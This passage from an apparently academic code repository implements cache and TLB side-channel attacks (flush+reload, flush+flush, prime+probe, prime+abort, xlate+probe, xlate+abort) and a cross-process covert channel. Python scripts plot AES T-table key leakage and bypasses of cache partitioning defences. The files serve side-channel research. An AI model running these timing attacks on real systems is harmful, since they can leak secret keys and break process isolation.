MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 28 | memset(page, 0x5a, 4096); 29 | 30 | for (i = 0; i < count; ++i) { 31 | clflush(page); 32 | 33 | asm volatile("mfence" ::: "memory"); 34 | 35 | t0 = rdtsc(); 36 | asm volatile("mfence" ::: "memory"); 37 | //*(volatile char *)page; 38 | clflush(page); 39 | asm volatile("mfence" ::: "memory"); 40 | slow = rdtsc() - t0; 41 | asm volatile("mfence" ::: "memory"); 42 | 43 | *(volatile char *)page; 44 | asm volatile("mfence" ::: "memory"); 45 | 46 | t0 = rdtsc(); 47 | asm volatile("mfence" ::: "memory"); 48 | //*(volatile char *)page; 49 | clflush(page); 50 | asm volatile("mfence" ::: "memory"); 51 | fast = rdtsc() - t0; 52 | 53 | asm volatile("mfence" ::: "memory"); 54 | 55 | printf("%" PRIu64 " %" PRIu64 "\n", slow, fast); 56 | } 57 | 58 | munmap(page, 4096); 59 | 60 | return 0; 61 | } 62 | 63 | -------------------------------------------------------------------------------- /source/list.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | void list_init(struct list *head) 7 | { 8 | head->next = head; 9 | head->prev = head; 10 | } 11 | 12 | void list_insert_before(struct list *before, struct list *node) 13 | { 14 | node->prev = before; 15 | node->next = before->next; 16 | 17 | before->next->prev = node; 18 | before->next = node; 19 | } 20 | 21 | void list_insert_after(struct list *after, struct list *node) 22 | { 23 | node->next = after; 24 | node->prev = after->prev; 25 | 26 | after->prev->next = node; 27 | after->prev = node; 28 | } 29 | 30 | void list_remove(struct list *node) 31 | { 32 | node->prev->next = node->next; 33 | node->next->prev = node->prev; 34 | 35 | node->next = node; 36 | node->prev = node; 37 | } 38 | 39 | void list_push(struct list *head, struct list *node) 40 | { 41 | list_insert_before(head, node); 42 | } 43 | 44 | void list_push_left(struct list *head, struct list *node) 45 | { 46 | list_insert_after(head, node); 47 | } 48 | 49 | struct list *list_pop(struct list *head) 50 | { 51 | struct list *node; 52 | 53 | node = head->prev; 54 | list_remove(node); 55 | 56 | return node; 57 | } 58 | 59 | struct list *list_pop_left(struct list *head) 60 | { 61 | struct list *node; 62 | 63 | node = head->next; 64 | list_remove(node); 65 | 66 | return node; 67 | } 68 | -------------------------------------------------------------------------------- /source/page_set.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | int page_set_resize(struct page_set *set, size_t alloc) 11 | { 12 | void *data; 13 | 14 | if (!set) 15 | return -1; 16 | 17 | if (!(data = realloc(set->data, alloc * sizeof *set->data))) 18 | return -1; 19 | 20 | set->data = data; 21 | set->alloc = alloc; 22 | 23 | return 0; 24 | } 25 | 26 | int page_set_init(struct page_set *set, size_t alloc) 27 | { 28 | if (!set) 29 | return -1; 30 | 31 | set->data = NULL; 32 | set->len = 0; 33 | set->alloc = alloc; 34 | 35 | if (!alloc) 36 | return 0; 37 | 38 | return page_set_resize(set, alloc); 39 | } 40 | 41 | void page_set_destroy(struct page_set *set) 42 | { 43 | if (!set) 44 | return; 45 | 46 | if (set->data) { 47 | free(set->data); 48 | set->data = NULL; 49 | } 50 | 51 | set->len = 0; 52 | set->alloc = 0; 53 | } 54 | 55 | int page_set_clear(struct page_set *set) 56 | { 57 | if (!set) 58 | return -1; 59 | 60 | set->len = 0; 61 | 62 | return 0; 63 | } 64 | 65 | int page_set_push(struct page_set *set, void *line) 66 | { 67 | if (!set) 68 | return -1; 69 | 70 | if (set->len >= set->alloc && 71 | page_set_resize(set, set->alloc ? 2 * set->alloc: 64) < 0) 72 | return -1; 73 | 74 | set->data[set->len++] = line; 75 | 76 | return 0; 77 | } 78 | 79 | void *page_set_remove(struct page_set *set, size_t index) 80 | { 81 | void *line; 82 | 83 | if (!set || index > set->len) 84 | return NULL; 85 | 86 | line = set->data[index]; 87 | 88 | if (index + 1 < set->len) { 89 | memmove(set->data + index, set->data + index + 1, 90 | (set->len - index - 1) * sizeof *set->data); 91 | } 92 | 93 | --set->len; 94 | 95 | return line; 96 | } 97 | 98 | int page_set_link(struct page_set *set, struct list *ret, size_t offset) 99 | { 100 | struct cache_line *line; 101 | size_t i; 102 | 103 | list_init(ret); 104 | 105 | for (i = 0; i < set->len; ++i) { 106 | line = (void *)((uintptr_t)set->data[i] + offset); 107 | list_init(&line->set); 108 | list_push(ret, &line->set); 109 | } 110 | 111 | return 0; 112 | } 113 | 114 | void page_set_remap(struct page_set *set, void *target) 115 | { 116 | uintptr_t base; 117 | uintptr_t offset; 118 | size_t i; 119 | 120 | offset = ((uintptr_t)target & (4 * KIB - 1)) >> 6; 121 | 122 | for (i = 0; i < set->len; ++i) { 123 | base = ALIGN_DOWN((uintptr_t)set->data[i], 2 * MIB); 124 | base = base + (offset << 15); 125 | 126 | if (base == (uintptr_t)set->data[i]) 127 | continue; 128 | 129 | set->data[i] = mremap(set->data[i], 4 * KIB, 4 * KIB, MREMAP_MAYMOVE | MREMAP_FIXED, (void *)base); 130 | } 131 | } 132 | 133 | int page_set_shuffle(struct page_set *set) 134 | { 135 | size_t i, j; 136 | void *line; 137 | 138 | if (!set) 139 | return -1; 140 | 141 | if (set->len < 1) 142 | return 0; 143 | 144 | for (i = set->len - 1; i < set->len; --i) { 145 | j = (size_t)(lrand48() % (i + 1)); 146 | 147 | line = set->data[i]; 148 | set->data[i] = set->data[j]; 149 | set->data[j] = line; 150 | } 151 | 152 | return 0; 153 | } 154 | -------------------------------------------------------------------------------- /source/shm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | int shm_populate(const char *path, size_t size) 11 | { 12 | char *page; 13 | int fd; 14 | 15 | if ((fd = shm_open(path, O_RDWR | O_CREAT | O_EXCL, 0777)) < 0) 16 | return 0; 17 | 18 | if (ftruncate(fd, size) < 0) 19 | goto err_unlink; 20 | 21 | if ((page = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 22 | 0)) == MAP_FAILED) 23 | goto err_unlink; 24 | 25 | memset(page, 0x5a, size); 26 | close(fd); 27 | 28 | return 0; 29 | 30 | err_unlink: 31 | close(fd); 32 | shm_unlink(path); 33 | 34 | return -1; 35 | } 36 | 37 | int shm_open_or_create(const char *path, size_t size) 38 | { 39 | int fd; 40 | 41 | if ((fd = shm_open(path, O_RDONLY, 0777)) >= 0) 42 | return fd; 43 | 44 | if (shm_populate(path, size) < 0) 45 | return -1; 46 | 47 | return shm_open(path, O_RDONLY, 0777); 48 | } 49 | -------------------------------------------------------------------------------- /source/sort.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | static int cmp_sz(const void *lhs, const void *rhs) 7 | { 8 | return memcmp(lhs, rhs, sizeof(size_t)); 9 | } 10 | 11 | static int cmp_u64(const void *lhs, const void *rhs) 12 | { 13 | return memcmp(lhs, rhs, sizeof(uint64_t)); 14 | } 15 | 16 | void qsort_sz(size_t *base, size_t len) 17 | { 18 | qsort(base, len, sizeof *base, cmp_sz); 19 | } 20 | 21 | void qsort_u64(uint64_t *base, size_t len) 22 | { 23 | qsort(base, len, sizeof *base, cmp_u64); 24 | } 25 | -------------------------------------------------------------------------------- /source/stats.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | 7 | int mode_u64(uint64_t *value, size_t *count, uint64_t *data, size_t len) 8 | { 9 | size_t current; 10 | size_t i, j; 11 | 12 | qsort_u64(data, len); 13 | 14 | for (j = 0; j < len; j = i) { 15 | for (i = j + 1; i < len; ++i) { 16 | if (data[j] != data[i]) 17 | break; 18 | } 19 | 20 | current = i - j; 21 | 22 | if (*count < current) { 23 | *count = current; 24 | *value = data[j]; 25 | } 26 | } 27 | 28 | return 0; 29 | } 30 | 31 | 32 | -------------------------------------------------------------------------------- /source/string.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | int stricmp(const char *lhs, const char *rhs) 8 | { 9 | while (tolower(*lhs) == tolower(*rhs)) { 10 | if (*lhs == '\0') 11 | break; 12 | 13 | ++lhs; 14 | ++rhs; 15 | } 16 | 17 | return (int)tolower(*lhs) - (int)tolower(*rhs); 18 | } 19 | -------------------------------------------------------------------------------- /source/termio.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | #include 6 | 7 | void await_key_press(void) 8 | { 9 | struct termios prev, info; 10 | 11 | tcgetattr(0, &info); 12 | prev = info; 13 | 14 | info.c_lflag &= ~ICANON; 15 | info.c_cc[VMIN] = 1; 16 | info.c_cc[VTIME] = 0; 17 | 18 | tcsetattr(0, TCSANOW, &info); 19 | getchar(); 20 | tcsetattr(0, TCSANOW, &prev); 21 | } 22 | -------------------------------------------------------------------------------- /source/tlb.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | int build_tlb(struct page_set *tlb_set, const char *path, size_t nentries) 14 | { 15 | char *area, *p; 16 | size_t i; 17 | int fd; 18 | 19 | if ((fd = shm_open_or_create(path, 4 * KIB)) < 0) 20 | return -1; 21 | 22 | if ((area = mmap(NULL, nentries * 4 * KIB, PROT_NONE, 23 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) 24 | goto err_close; 25 | 26 | page_set_init(tlb_set, nentries); 27 | 28 | p = area; 29 | 30 | for (i = 0; i < nentries; ++i) { 31 | if (mmap(p, 4 * KIB, PROT_READ, MAP_FIXED | MAP_SHARED, fd, 0) == 32 | MAP_FAILED) 33 | goto err_unmap; 34 | 35 | page_set_push(tlb_set, p); 36 | p += 4 * KIB; 37 | } 38 | 39 | close(fd); 40 | 41 | return 0; 42 | 43 | err_unmap: 44 | munmap(area, nentries * 4 * KIB); 45 | err_close: 46 | close(fd); 47 | return -1; 48 | } 49 | -------------------------------------------------------------------------------- /source/xfer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include 26 | #include 27 | #include 28 | 29 | static char *send_page = NULL; 30 | static char *recv_page = NULL; 31 | static struct list wsets[19]; 32 | static struct page_set xsets[19]; 33 | static struct page_set tlb_set; 34 | 35 | int send_raw(uint32_t word) 36 | { 37 | size_t i; 38 | 39 | for (size_t j = 0; j < 100; ++j) { 40 | for (i = 0; i < 19; ++i) { 41 | if (word & BIT(i)) { 42 | *(volatile char *)(send_page + i * 4 * KIB); 43 | } 44 | } 45 | } 46 | 47 | return 0; 48 | } 49 | 50 | uint32_t fr_recv_raw(void) 51 | { 52 | size_t i; 53 | uint64_t t0, dt; 54 | uint32_t word = 0; 55 | 56 | for (i = 0; i < 19; ++i) { 57 | clflush(recv_page + i * 4 * KIB); 58 | } 59 | 60 | asm volatile("mfence\n" ::: "memory"); 61 | 62 | for (i = 0; i < 19; ++i) { 63 | t0 = rdtsc(); 64 | *(volatile char *)(recv_page + i * 4 * KIB); 65 | dt = rdtsc() - t0; 66 | 67 | if (dt < 120) 68 | word |= BIT(i); 69 | } 70 | 71 | return word; 72 | } 73 | 74 | uint32_t ff_recv_raw(void) 75 | { 76 | size_t i; 77 | uint64_t t0, dt; 78 | uint32_t word = 0; 79 | void *line; 80 | 81 | for (i = 0; i < 19; ++i) { 82 | line = recv_page + i * 4 * KIB; 83 | 84 | asm volatile("cpuid\n" :: "a" (0) : "%rbx", "%rcx", "%rdx"); 85 | asm volatile("mfence\n" ::: "memory"); 86 | t0 = rdtsc(); 87 | asm volatile("mfence\n" ::: "memory"); 88 | clflush(line); 89 | asm volatile("mfence\n" ::: "memory"); 90 | dt = rdtsc() - t0; 91 | asm volatile("mfence\n" ::: "memory"); 92 | asm volatile("cpuid\n" :: "a" (0) : "%rbx", "%rcx", "%rdx"); 93 | 94 | if (dt >= 172 && dt < 200) 95 | word |= BIT(i); 96 | } 97 | 98 | return word; 99 | } 100 | 101 | uint32_t pp_recv_raw(void) 102 | { 103 | size_t i; 104 | uint64_t dt; 105 | uint32_t word = 0; 106 | 107 | for (i = 0; i < 19; ++i) { 108 | dt = prime(wsets + i); 109 | 110 | if (dt > 920) 111 | word |= BIT(i); 112 | } 113 | 114 | return word; 115 | } 116 | 117 | static int pp_build_eviction_sets(size_t npages, char *base) 118 | { 119 | struct page_set lines; 120 | struct page_set wset; 121 | char *target; 122 | size_t i; 123 | 124 | if (build_page_pool(&lines, npages) < 0) { 125 | fprintf(stderr, "unable to build the page pool.\n"); 126 | return -1; 127 | } 128 | 129 | page_set_init(&wset, 16); 130 | 131 | for (i = 0; i < 19; ++i) { 132 | target = base + i * 4 * KIB; 133 | find_wset(&lines, &wset, NULL, target, 16, prime_and_probe); 134 | page_set_link(&wset, wsets + i, 0); 135 | } 136 | 137 | fprintf(stderr, "found eviction sets\n"); 138 | 139 | return 0; 140 | } 141 | 142 | uint32_t pa_recv_raw(void) 143 | { 144 | struct list *wset, *node; 145 | size_t i; 146 | unsigned ret; 147 | uint32_t word = 0; 148 | 149 | for (i = 0; i < 19; ++i) { 150 | wset = wsets + i; 151 | 152 | if ((ret = xbegin()) == XBEGIN_INIT) { 153 | list_foreach(wset, node); 154 | 155 | for (volatile int x = 0; x < 2500; ++x); 156 | xend(); 157 | } else if (ret & XABORT_CAPACITY) { 158 | word |= BIT(i); 159 | } 160 | } 161 | 162 | return word; 163 | } 164 | 165 | uint32_t xp_recv_raw(void) 166 | { 167 | size_t i; 168 | uint64_t dt; 169 | uint32_t word = 0; 170 | 171 | for (i = 0; i < 19; ++i) { 172 | dt = xlate(xsets + i, &tlb_set); 173 | 174 | if (dt > 720) 175 | word |= BIT(i); 176 | } 177 | 178 | return word; 179 | } 180 | 181 | static int xp_build_eviction_sets(size_t npages, char *base) 182 | { 183 | struct page_set lines; 184 | struct page_set *wset; 185 | char *target; 186 | size_t i; 187 | 188 | build_ptable_pool(&lines, "/foo", npages); 189 | build_tlb(&tlb_set, "/foo", 1600); 190 | 191 | for (i = 0; i < 19; ++i) { 192 | wset = xsets + i; 193 | target = base + i * 4 * KIB; 194 | 195 | find_wset(&lines, wset, &tlb_set, target, 16, xlate_and_probe); 196 | } 197 | 198 | fprintf(stderr, "found eviction sets\n"); 199 | 200 | return 0; 201 | } 202 | 203 | uint32_t xa_recv_raw(void) 204 | { 205 | struct page_set *wset; 206 | size_t i, k; 207 | unsigned ret; 208 | uint32_t word = 0; 209 | 210 | for (k = 0; k < 19; ++k) { 211 | wset = xsets + k; 212 | 213 | page_set_shuffle(wset); 214 | 215 | xlate(wset, &tlb_set); 216 | 217 | for (i = 0; i < tlb_set.len; ++i) 218 | *(volatile char *)tlb_set.data[i]; 219 | 220 | if ((ret = xbegin()) == XBEGIN_INIT) { 221 | for (i = 0; i < wset->len; ++i) 222 | *(volatile char *)wset->data[i]; 223 | 224 | for (volatile int x = 0; x < 2500; ++x); 225 | xend(); 226 | } else if (ret & XABORT_CONFLICT) { 227 | word |= BIT(k); 228 | } 229 | } 230 | 231 | return word; 232 | } 233 | 234 | struct method { 235 | const char *name; 236 | int (* prepare)(size_t, char *); 237 | uint32_t (* recv_raw)(void); 238 | }; 239 | 240 | static struct method *method; 241 | struct method methods[] = { 242 | { "flush-reload", NULL, fr_recv_raw }, 243 | { "flush-flush", NULL, ff_recv_raw }, 244 | { "prime-probe", pp_build_eviction_sets, pp_recv_raw }, 245 | { "prime-abort", pp_build_eviction_sets, pa_recv_raw }, 246 | { "xlate-probe", xp_build_eviction_sets, xp_recv_raw }, 247 | { "xlate-abort", xp_build_eviction_sets, xa_recv_raw }, 248 | {}, 249 | }; 250 | 251 | struct method *lookup_method(const char *name) 252 | { 253 | struct method *current; 254 | 255 | for (current = methods; current->name; ++current) { 256 | if (stricmp(current->name, name) == 0) 257 | return current; 258 | } 259 | 260 | return NULL; 261 | } 262 | 263 | int prepare(size_t npages, char *base) 264 | { 265 | if (!method->prepare) 266 | return 0; 267 | 268 | return method->prepare(npages, base); 269 | } 270 | 271 | uint32_t recv_raw(void) 272 | { 273 | return method->recv_raw(); 274 | } 275 | 276 | static int seq_no = 0; 277 | static int ack_no = 0; 278 | 279 | int send_byte(uint8_t byte) 280 | { 281 | uint32_t word; 282 | uint32_t edc; 283 | uint32_t ack; 284 | uint32_t expected; 285 | 286 | word = byte; 287 | word |= (seq_no & 0x3f) << 8; 288 | edc = 15 - __builtin_popcount(word); 289 | word |= (edc & 0xf) << 15; 290 | 291 | expected = byte; 292 | expected |= (seq_no & 0x3f) << 8; 293 | expected |= BIT(14); 294 | edc = 15 - __builtin_popcount(expected); 295 | expected |= (edc & 0xf) << 15; 296 | 297 | do { 298 | send_raw(word); 299 | ack = recv_raw(); 300 | } while (ack != expected); 301 | 302 | seq_no = (seq_no + 21) & (64 - 1); 303 | 304 | return 0; 305 | } 306 | 307 | int recv_byte(uint8_t *byte) 308 | { 309 | int cur_no; 310 | uint32_t ret; 311 | uint32_t data; 312 | uint32_t ack; 313 | uint32_t edc; 314 | 315 | while (1) { 316 | ret = recv_raw(); 317 | 318 | data = ret & 0xff; 319 | cur_no = (ret >> 8) & 0x3f; 320 | edc = (ret >> 15) & 0xf; 321 | 322 | ack = data; 323 | ack |= (cur_no & 0x3f) << 8; 324 | ack |= BIT(14); 325 | ack |= (15 - __builtin_popcount(ack)) << 15; 326 | 327 | if (edc != (uint32_t)(15 - __builtin_popcount(ret & 0x7fff))) 328 | continue; 329 | 330 | send_raw(ack); 331 | 332 | if (cur_no == ack_no) { 333 | ack_no = (ack_no + 21) & (64 - 1); 334 | *byte = data; 335 | break; 336 | } 337 | } 338 | 339 | return 0; 340 | } 341 | 342 | void do_recv(void) 343 | { 344 | uint8_t byte; 345 | 346 | fprintf(stderr, "Awaiting key press..."); 347 | fflush(stderr); 348 | await_key_press(); 349 | 350 | while (1) { 351 | recv_byte(&byte); 352 | fputc(byte, stdout); 353 | fflush(stdout); 354 | } 355 | 356 | printf("\n"); 357 | } 358 | 359 | void do_send(void) 360 | { 361 | const char *msg = "Hello, this is the covert channel speaking."; 362 | size_t i = 0; 363 | size_t len = strlen(msg); 364 | 365 | while (1) 366 | for (i = 0; i < len; ++i) { 367 | send_byte(msg[i]); 368 | } 369 | } 370 | 371 | int main(int argc, char *argv[]) 372 | { 373 | char *base; 374 | int fd; 375 | 376 | if (argc < 4) { 377 | fprintf(stderr, "usage: %s [send|recv]\n", argv[0]); 378 | return -1; 379 | } 380 | 381 | if ((fd = open(argv[1], O_RDONLY, 0777)) < 0) { 382 | fprintf(stderr, "error: unable to open the shared memory object.\n"); 383 | return -1; 384 | } 385 | 386 | base = mmap(NULL, 2 * MIB, PROT_READ, MAP_SHARED | MAP_HUGETLB, fd, 0); 387 | close(fd); 388 | 389 | if (base == MAP_FAILED) { 390 | fprintf(stderr, "error: unable to map shared memory\n"); 391 | return -1; 392 | } 393 | 394 | if (!(method = lookup_method(argv[2]))) { 395 | fprintf(stderr, "error: unknown method.\n"); 396 | close(fd); 397 | return -1; 398 | } 399 | 400 | if (strcmp(argv[3], "send") == 0) { 401 | send_page = base; 402 | recv_page = base + 19 * 4 * KIB; 403 | prepare(4096, recv_page); 404 | do_send(); 405 | } else if (strcmp(argv[3], "recv") == 0) { 406 | send_page = base + 19 * 4 * KIB; 407 | recv_page = base; 408 | prepare(4096, recv_page); 409 | do_recv(); 410 | } else { 411 | fprintf(stderr, "error: unknown command.\n"); 412 | } 413 | 414 | return 0; 415 | } 416 | -------------------------------------------------------------------------------- /tools/check_aes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | 14 | args = parser.parse_args() 15 | 16 | data = np.loadtxt(args.input) 17 | 18 | score = 0 19 | 20 | for x, y in zip([np.argmin(row) for row in data], range(len(data))): 21 | if x == y: 22 | score += 1 23 | 24 | print(score) 25 | 26 | if __name__ == '__main__': 27 | main() 28 | -------------------------------------------------------------------------------- /tools/gen_table.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | names = [ 12 | '\\flushreload', 13 | '\\flushflush', 14 | '\\primeprobe', 15 | '\\primeabort', 16 | '\\xlateprobe', 17 | '\\xlateabort', 18 | ] 19 | 20 | data = np.loadtxt('timings.txt') 21 | 22 | print('\\begin{table}[ht!]') 23 | print('\\centering') 24 | print('\\small') 25 | print('\\begin{tabular}{ l | c }') 26 | print('Name & Time \\\\') 27 | print('\\hline') 28 | 29 | for i, name, row in zip(range(len(names)), names, data): 30 | if i % 2 == 0: 31 | print('\\rowcolor{blue!5}') 32 | 33 | print('{} & {} \\\\'.format(name, np.average(row))) 34 | 35 | print('\\end{tabular}') 36 | print('\\end{table}') 37 | 38 | if __name__ == '__main__': 39 | main() 40 | -------------------------------------------------------------------------------- /tools/plot_aes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 14 | 15 | args = parser.parse_args() 16 | 17 | rc('text', usetex=True) 18 | 19 | names = [ 20 | ('fr.txt', '\\tt\\sc Flush + Reload', 'Greens'), 21 | ('ff.txt', '\\tt\\sc Flush + Flush', 'Greens'), 22 | ('pp.txt', '\\tt\\sc Prime + Probe', 'Greens'), 23 | ('xp2.txt', '\\tt\\sc Xlate + Probe', 'Greens'),#'gray'), 24 | ] 25 | 26 | fig = plt.figure(figsize=(6.5, 6)) 27 | 28 | axes = [] 29 | 30 | for (name, title, cmap), coord in zip(names, np.ndindex((2, 2))): 31 | ax = plt.subplot2grid((2, 2), coord) 32 | axes.append(ax) 33 | 34 | plt.xticks(rotation=90, fontsize=10) 35 | plt.yticks(fontsize=10) 36 | 37 | data = np.loadtxt(os.path.join(args.input, name)) 38 | 39 | # TODO: fix the output of the programs. 40 | if name == 'fr.txt' or name == 'ff.txt': 41 | data = np.transpose(data) 42 | 43 | data = [(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data] 44 | ax.set_title(title) 45 | ax.pcolormesh(data, cmap=cmap) 46 | ax.set_xlabel('$p[0]$') 47 | ax.set_ylabel('{\\tt Te0} offset') 48 | ax.set_xticklabels([i for i in range(0, 256 + 1, 32)]) 49 | ax.set_yticklabels(['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 50 | ax.set_aspect('equal', adjustable='box') 51 | 52 | plt.tight_layout() 53 | plt.savefig(args.output) 54 | 55 | if __name__ == '__main__': 56 | main() 57 | -------------------------------------------------------------------------------- /tools/plot_bypass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 14 | 15 | args = parser.parse_args() 16 | 17 | rc('text', usetex=True) 18 | 19 | names = [ 20 | ('pp-colouring.txt', '{\\tt\\sc Prime + Probe} (coloring)', 'Greens'), 21 | ('xp-colouring.txt', '{\\tt\\sc Xlate + Probe} (coloring)', 'Greens'), 22 | 23 | ('pp-8ways.txt', '{\\tt\\sc Prime + Probe} (ways)', 'Greens'), 24 | ('xp-8ways.txt', '{\\tt\\sc Xlate + Probe} (ways)', 'Greens'), 25 | ] 26 | 27 | fig = plt.figure(figsize=(6.5, 6)) 28 | 29 | axes = [] 30 | 31 | for (name, title, cmap), coord in zip(names, np.ndindex((2, 2))): 32 | ax = plt.subplot2grid((2, 2), coord) 33 | axes.append(ax) 34 | 35 | plt.xticks(rotation=90, fontsize=10) 36 | plt.yticks(fontsize=10) 37 | 38 | data = np.loadtxt(os.path.join(args.input, name)) 39 | 40 | # TODO: fix the output of the programs. 41 | if name == 'fr.txt' or name == 'ff.txt': 42 | data = np.transpose(data) 43 | 44 | data = [(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data] 45 | ax.set_title(title, y=1.08) 46 | ax.pcolormesh(data, cmap=cmap) 47 | ax.set_xlabel('$p[0]$') 48 | ax.set_ylabel('{\\tt Te0} offset') 49 | ax.set_xticklabels([i for i in range(0, 256 + 1, 32)]) 50 | ax.set_yticklabels(['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 51 | ax.set_aspect('equal', adjustable='box') 52 | 53 | plt.tight_layout() 54 | plt.savefig(args.output) 55 | 56 | if __name__ == '__main__': 57 | main() 58 | -------------------------------------------------------------------------------- /tools/plot_comparison.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import numpy as np 4 | from matplotlib import rc 5 | import matplotlib.colors 6 | import matplotlib.pyplot as plt 7 | 8 | def pastel(colour, weight=2.4): 9 | """ Convert colour into a nice pastel shade""" 10 | converter = matplotlib.colors.ColorConverter() 11 | 12 | rgb = np.asarray(converter.to_rgba(colour)[:3]) 13 | # scale colour 14 | maxc = max(rgb) 15 | if maxc < 1.0 and maxc > 0: 16 | # scale colour 17 | scale = 1.0 / maxc 18 | rgb = rgb * scale 19 | # now decrease saturation 20 | total = rgb.sum() 21 | slack = 0 22 | for x in rgb: 23 | slack += 1.0 - x 24 | 25 | # want to increase weight from total to weight 26 | # pick x s.t. slack * x == weight - total 27 | # x = (weight - total) / slack 28 | x = (weight - total) / slack 29 | 30 | rgb = [c + (x * (1.0 - c)) for c in rgb] 31 | 32 | return rgb 33 | 34 | def darken(colour, value): 35 | converter = matplotlib.colors.ColorConverter() 36 | 37 | rgb = np.asarray(converter.to_rgba(colour)[:3]) 38 | h, s, v = matplotlib.colors.rgb_to_hsv(rgb) 39 | v = max(v - value, 0) 40 | 41 | return matplotlib.colors.hsv_to_rgb((h, s, v)) 42 | 43 | bandwidth = np.array([ 44 | np.average([45858.54, 41084.56, 39693.97]), 45 | np.average([200.24, 624.76, 964.57]), 46 | np.average([8539.85, 7550.78, 7802.75]), 47 | np.average([867.23, 536.36, 645.51]), 48 | 49 | np.average([47509.35, 42111.45, 40685.44]), 50 | np.average([5495.75, 5172.52, 5242.63]), 51 | np.average([7981.35, 7344.10, 7718.37]), 52 | np.average([440.70, 500.37, 537.79]), 53 | ]) 54 | 55 | errors = np.array([ 56 | np.average([4.77, 3.72, 3.48]), 57 | np.average([200.24, 2180.17, 1810.00]), 58 | np.average([448.78, 615.85, 495.74]), 59 | np.average([67.34, 71.18, 95.95]), 60 | 61 | np.average([4.26, 3.61, 3.03]), 62 | np.average([70.41, 64.65, 72.59]), 63 | np.average([537.92, 570.90, 495.45]), 64 | np.average([68.09, 66.40, 80.81]), 65 | ]) 66 | 67 | bit_errors = np.array([ 68 | np.average([14.13, 10.07, 11.02]), 69 | np.average([4358.04, 3847.03, 3103.62]), 70 | np.average([923.89, 1206.02, 888.92]), 71 | np.average([123.24, 120.91, 178.46]), 72 | 73 | np.average([12.42, 10.56, 8.46]), 74 | np.average([134.96, 124.27, 137.55]), 75 | np.average([978.35, 1097.36, 882.23]), 76 | np.average([136.80, 132.66, 161.32]), 77 | ]) 78 | 79 | labels = ['\\tt\\sc Flush + Reload', '\\tt\\sc Flush + Flush', '\\tt\\sc Prime + Probe', '\\tt\\sc Xlate + Probe'] 80 | indices = np.arange(len(labels)) 81 | 82 | rc('text', usetex=True) 83 | 84 | plt.subplot(121) 85 | 86 | bar1 = plt.bar(indices + .25, bandwidth[:4], .2, color=pastel('orange')) 87 | bar2 = plt.bar(indices + .25, errors[:4], .2, bottom=bandwidth[:4], color=darken(pastel('orange'), .4)) 88 | 89 | bar3 = plt.bar(indices + .55, bandwidth[4:], .2, color=pastel('green')) 90 | bar4 = plt.bar(indices + .55, errors[4:], .2, bottom=bandwidth[4:], color=darken(pastel('green'), .4)) 91 | 92 | plt.xticks(indices + .5, labels, rotation=45) 93 | plt.ylabel('Bandwidth (bytes/sec)') 94 | plt.yscale('log') 95 | plt.figlegend( 96 | (bar1[0], bar2[0], bar3[0], bar4[0]), 97 | ('Cross-Thread (correct)', 'Cross-Thread (raw)', 'Cross-Core (correct)', 'Cross-Core (raw)'), 98 | loc='upper right', 99 | prop={'size': 11}, 100 | ) 101 | 102 | plt.subplot(122) 103 | 104 | bar1 = plt.bar(indices + .25, bit_errors[:4], .2, color=pastel('orange')) 105 | bar2 = plt.bar(indices + .55, bit_errors[4:], .2, color=pastel('green')) 106 | 107 | plt.xticks(indices + .5, labels, rotation=45) 108 | plt.ylabel('Bit errors (bits/sec)') 109 | plt.yscale('log') 110 | 111 | plt.tight_layout() 112 